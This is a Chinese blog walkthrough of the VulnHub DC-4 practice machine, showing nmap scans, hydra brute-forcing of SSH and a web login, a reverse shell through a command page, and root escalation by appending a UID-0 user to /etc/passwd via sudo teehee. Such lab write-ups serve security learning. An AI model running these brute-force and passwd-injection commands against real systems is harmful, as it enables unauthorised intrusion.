vulnhub-dc-4

最新推荐文章于 2024-08-24 08:42:08 发布

XingHe_0

最新推荐文章于 2024-08-24 08:42:08 发布

阅读量181

点赞数

分类专栏： vulnhub 文章标签：安全

本文链接：https://blog.csdn.net/qq_45414878/article/details/106735113

版权

7 篇文章 0 订阅

订阅专栏

vulnhub第五个靶机

知识点

用nmap查询局域网内存活的主机，发现靶机ip

nmap -T4 192.168.40.0/24

在这里插入图片描述

用nmap进行更详细的探测，发现开着的端口和服务

端口	服务
22	ssh
80	http

nmap -T4 -sV -A -p- 192.168.40.134

在这里插入图片描述
端口：22——>爆破——>失败

hydra -l root -P rockyou.txt 192.168.40.134 ssh -t 4

在这里插入图片描述

端口：80——>web漏洞——>成功

访问主页发现是一个登录框，对后台进行扫描，没发现可利用的信息，只能对其进行爆破。
在这里插入图片描述

使用hydra对其登录页面进行爆破，爆破出帐号密码
admin:happy

hydra -l admin -P rockyou.txt 192.168.40.134 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout"

在这里插入图片描述
登录到后台发现有一个可以之执行命令的页面

可以对其抓包反弹shell，拿shell（一句话木马和bash貌似被过滤了，所以利用nc）

在这里插入图片描述

python -c "import pty;pty.spawn('/bin/bash')"  #打开一个标准shell
cat /etc/passwd

发现有三个用户，分别是：charles、jim、sam
在这里插入图片描述
经过一番好找，最后在home/jim/backups目录下找到一个密码字典

在这里插入图片描述
在靶机上开启临时http服务，在kali上下载该密码文件

python -m SimpleHTTPServer
wget http://192.168.40.134:8000/old-passwords.bak

在这里插入图片描述

用hydra对jim用户进行爆破

hydra -l jim -P old-passwords.bak 192.168.40.134 ssh -t 20

帐号密码：jimi：jibril04
在这里插入图片描述

在jim目录下发现一封邮件
在这里插入图片描述
在/var/mail下查看邮件，发现charles的密码

登录之后，发现charles可以无密码以root身份执行teehee命令，该命令可以追加数据

在这里插入图片描述
那我们可以添加一个权限为0的用户到/etc/passwd文件中去，拿到最后的falg

echo 'hfn:$1$xyz$X11iz6ox24iPDed6detyU.:0:0:root:/root:/bin/bash' | sudo teehee -a /etc/passwd

在这里插入图片描述

个人站点博客：XingHe，欢迎来踩~

关注

专栏目录